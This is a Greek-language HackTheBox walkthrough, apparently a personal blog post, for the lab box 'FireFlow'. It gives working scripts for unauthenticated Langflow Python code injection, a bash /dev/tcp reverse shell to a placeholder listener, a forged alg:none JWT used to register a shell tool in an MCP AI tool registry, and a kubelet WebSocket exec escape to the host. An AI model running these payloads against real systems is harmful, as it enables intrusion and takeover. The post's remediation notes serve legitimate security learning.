Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: FireFlow

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗

Το FireFlow αλυσιδώνει τρεις ξεχωριστές επιφάνειες επίθεσης σε ένα πλήρες compromise: το Langflow 1.8.2 εκθέτει ένα unauthenticated endpoint POST /api/v1/build_public_tmp που κάνει compile node graphs που δίνει ο χρήστης, εκτελώντας injected κώδικα Python στο πεδίο .template.code του component. Από εκεί, κάνουμε escalate σε ένα cluster Kubernetes μέσω της υπηρεσίας MCP AI Tool Registry (θύρα 30080), της οποίας η αυθεντικοποίηση JWT δέχεται ένα token "alg": "none" — παρακάμπτοντας εντελώς το auth. Τελικά, κάνουμε escape το pod μέσω του kubelet WebSocket exec API, αξιοποιώντας το δικαίωμα RBAC nodes/proxy του service account για να τρέξουμε εντολές σε ένα privileged pod node-exporter με hostPath mounts του filesystem του host.
Langflow RCE :443 → www-data shell → SSH creds → nightfall SSH → MCP JWT bypass → kubelet escape → root

Αναγνώριση

Nmap

nmap
SP1R4@kali)-[~] └$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 5ubuntu2.2 443/tcp open ssl/http nginx 1.26.0 |_ssl-date: 2026-09-04 | tls-alpn: |_ h2 | ssl-cert: Subject: CN=*.fireflow.htb |_Subject Alternative Name: DNS:*.fireflow.htb, DNS:fireflow.htb

Δύο θύρες: SSH και HTTPS με ένα wildcard cert για το *.fireflow.htb. Το hostname μας δίνει το vhost· πρόσθεσέ το στο /etc/hosts και κάνε browse.

/etc/hosts
SP1R4@kali)-[~] └$ echo "<TARGET_IP> fireflow.htb flow.fireflow.htb" | sudo tee -a /etc/hosts

Ανακάλυψη Langflow

Το fireflow.htb είναι μια landing page για το "Task Force Nightfall". Το flow.fireflow.htb αποκαλύπτει τον πραγματικό στόχο: Langflow 1.8.2, ένα framework LLM orchestration. Το public API εκθέτει ορισμούς flow:

Langflow public flow endpoint
curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636-af65-42e4-ac38-26e867052c25 | jq . | head -30 { "id": "7d84d636-af65-42e4-ac38-26e867052c25", "name": "Agent Dev", "data": { "nodes": [...], "edges": [...] } }

Foothold — Langflow RCE μέσω Component Code Injection

Το build endpoint του Langflow στο POST /api/v1/build_public_tmp/{flow_id}/flow δέχεται ένα JSON graph από nodes και edges. Κατά τη μεταγλώττιση, το πεδίο .template.code κάθε node — που περιέχει πηγαίο κώδικα Python — εκτελείται τη στιγμή που χτίζεται το graph. Το endpoint είναι unauthenticated, και ο κώδικας που ελέγχει ο χρήστης τρέχει σαν ο web server (www-data).

Φτιάχνοντας το Payload

Κάνουμε inject ένα custom node component με αυθαίρετη Python στο πεδίο code:

langflow_rce.py — Python code injection
import json, subprocess, http.client, ssl, uuid TARGET = "flow.fireflow.htb" FLOW_ID = "7d84d636-af65-42e4-ac38-26e867052c25" PAYLOAD = """import subprocess result = subprocess.run(['bash', '-c', 'cat /etc/hostname > /tmp/proof.txt'], capture_output=True) """ node = { "id": "Custom-1", "type": "genericNode", "position": {"x": 0, "y": 0}, "data": { "id": "Custom-1", "type": "CustomComponent", "node": { "base_classes": ["Message"], "display_name": "Custom", "field_order": [], "template": { "_type": "Component", "code": { "type": "code", "value": PAYLOAD } } } } } body = json.dumps({ "data": {"nodes": [node], "edges": [], "viewport": {"x": 0, "y": 0, "zoom": 1}} }) ctx = ssl._create_unverified_context() conn = http.client.HTTPSConnection(TARGET, context=ctx) headers = { "Host": TARGET, "Content-Type": "application/json", "Cookie": f"client_id={uuid.uuid4()}" } conn.request("POST", f"/api/v1/build_public_tmp/{FLOW_ID}/flow", body.encode(), headers) resp = conn.getresponse() print(f"Status: {resp.status}") print(f"Response: {resp.read().decode()[:500]}")
Το να εκτελείς κώδικα Python που δίνει ο χρήστης από ένα web request είναι επικίνδυνο εκ σχεδιασμού. Το Langflow το σχεδίασε αυτό μόνο για development flows, αλλά το endpoint κυκλοφορεί unauthenticated σε αυτό το box. Σε production, είτε απαίτησε authentication, είτε απομόνωσε τη μεταγλώττιση flow σε ένα sandbox, είτε απενεργοποίησε εντελώς τη δυναμική εκτέλεση κώδικα.

Αποκτώντας Reverse Shell

Μόλις επιβεβαιώσουμε εκτέλεση κώδικα, κάνουμε escalate σε interactive shell:

reverse shell via Langflow RCE
PAYLOAD = """import subprocess subprocess.run(['bash', '-i', '>&', '/dev/tcp/<LHOST>/4444', '0>&1'], shell=True) """ SP1R4@kali)-[~] └$ nc -lvnp 4444 connect to [<LHOST>] from 10.129.120.233 www-data@fireflow:/app$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data → nightfall — Credentials SSH στο Environment

Μέσα στο container, μεταβλητές environment διαρρέουν credentials:

environment enumeration
www-data@fireflow:/app$ env | grep -i pass LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll

Εκείνο το password δουλεύει για SSH ως nightfall:

ssh nightfall@fireflow.htb
SP1R4@kali)-[~] └$ ssh nightfall@10.129.120.233 Password: n1ghtm4r3_b4_n1ghtf4ll nightfall@fireflow:~$ id && cat user.txt uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall) [redacted — user flag: 4fc4c15bad3bd4a174c91a6ea88bc82c]

nightfall → root (μέσω MCP + Kubernetes)

Καταμέτρηση Θυρών: Υπηρεσία MCP στο :30080

Μέσα στο box, μια μη-στάνταρ υπηρεσία ακούει στο 127.0.0.1:30080:

netstat -tlnp (local only)
nightfall@fireflow:~$ ss -tlnp | grep 30080 LISTEN 127.0.0.1:30080 root /usr/bin/python3 (MCP service)

Παράκαμψη Authentication JWT του MCP

Το probing της υπηρεσίας αποκαλύπτει ότι είναι ένα AI Tool Registry MCP (Model Context Protocol) που χρησιμοποιεί JSON-RPC 2.0 και auth βασισμένο σε JWT. Ωστόσο, η υπηρεσία δέχεται JWT tokens με "alg": "none" — ένα κρίσιμο ελάττωμα. Όταν ένα JWT έχει alg: none, η επαλήθευση υπογραφής παραλείπεται· μπορούμε να πλαστογραφήσουμε admin tokens χωρίς να ξέρουμε το secret:

jwt_none_exploit.py
import json, base64, subprocess def create_jwt_none(): header = {"typ": "JWT", "alg": "none"} payload = {"sub": "admin", "admin": True, "role": "admin"} def b64(data): return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=') return f"{b64(header)}.{b64(payload)}." # No signature for 'none' jwt = create_jwt_none() print(f"[+] JWT (alg=none): {jwt[:60]}...") # Register a malicious MCP tool in the registry tool_def = { "jsonrpc": "2.0", "method": "register_tool", "params": { "name": "shell", "description": "Execute shell commands", "code": "import subprocess; subprocess.run(['id'], shell=True)" }, "id": 1 } cmd = f'''curl -s -X POST http://127.0.0.1:30080/mcp \ -H "Authorization: Bearer {jwt}" \ -H "Content-Type: application/json" \ -d '{json.dumps(tool_def)}' ''' result = subprocess.run(cmd, shell=True, capture_output=True, text=True) print(f"[*] Tool registration response: {result.stdout[:500]}")

Kubernetes Escape: Kubelet WebSocket Exec

Με πρόσβαση MCP, ανακαλύπτουμε ότι το pod έχει credentials service account Kubernetes και δικαίωμα RBAC nodes/proxy. Το token του service account είναι mounted στο /var/run/secrets/kubernetes.io/serviceaccount/token. Το χρησιμοποιούμε για να συνδεθούμε στο API kubelet πάνω στον node και να εκτελέσουμε εντολές σε ένα privileged pod node-exporter που έχει hostPath mounts ολόκληρου του filesystem του host:

kubelet_escape.py
import asyncio, ssl, websockets async def run(): TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip() NODE_IP = "<NODE_IP>" # The node running the pod # Kubelet exec API: wss://NODE:10250/exec/NAMESPACE/POD/CONTAINER?command=...&output=1 url = f"wss://{NODE_IP}:10250/exec/monitoring/prometheus-prometheus-node-exporter-XXXXX/node-exporter" url += "?output=1&error=1&command=cat&command=/host/root/root/root.txt" ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE async with websockets.connect( url, ssl=ctx, additional_headers={"Authorization": f"Bearer {TOKEN}"}, subprotocols=["v4.channel.k8s.io"] ) as ws: async for msg in ws: # First byte is the stream type; rest is output print(msg[1:].decode(errors="replace"), end="", flush=True) asyncio.run(run())

Το pod node-exporter έχει hostPath mounts στο /host/ που αντιστοιχούν στο root filesystem του host. Το path /host/root/root/root.txt είναι στην πραγματικότητα το /root/root.txt του host:

kubelet exec → host root flag
wss://<NODE_IP>:10250/exec/.../node-exporter?command=cat&command=/host/root/root/root.txt 5b5b0c61343afebf2857fad4ee98cb5f
Το Kubernetes pod-to-host escape αλυσιδώνει το token του service account (με RBAC nodes/proxy) + API kubelet WebSocket + privileged pod mounts. Οι τρεις κρίκοι φαίνονται καθένας αθώος μεμονωμένα: τα service accounts είναι φυσιολογικά, το kubelet exec είναι σκόπιμο, και τα mounts container είναι για debugging. Μαζί, σχηματίζουν μια πλήρη privilege escalation σε root στον υποκείμενο node.

Γιατί Δούλεψε

ΣταδιοΡιζα του προβληματος
www-dataUnauthenticated build endpoint του Langflow εκτελεί κώδικα Python που δίνει ο χρήστης (CWE-94)
nightfallCredentials SSH σε plaintext μεταβλητές environment (CWE-798)
rootΗ υπηρεσία MCP δέχεται JWT με alg: none, παρακάμπτοντας authentication· το service account έχει RBAC nodes/proxy· το pod node-exporter κάνει mount το filesystem του host μέσω hostPath (CWE-269 privilege delegation)

Βασικές εντολές

quick reference
# Recon nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> curl -s https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636... | jq . # Foothold — Langflow RCE μέσω component code injection (:443) python3 langflow_rce.py # POST /api/v1/build_public_tmp/{flow_id}/flow # Πλάγια κίνηση — SSH ως nightfall ssh nightfall@<TARGET_IP> # password from $LANGFLOW_SUPERUSER_PASSWORD # Privilege escalation — MCP JWT none-algorithm bypass (:30080) python3 jwt_none_exploit.py # Create JWT with alg=none, register MCP tools # Kubernetes escape — kubelet WebSocket exec (:10250) python3 kubelet_escape.py # WSS to node-exporter pod → /host/root/root.txt
HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗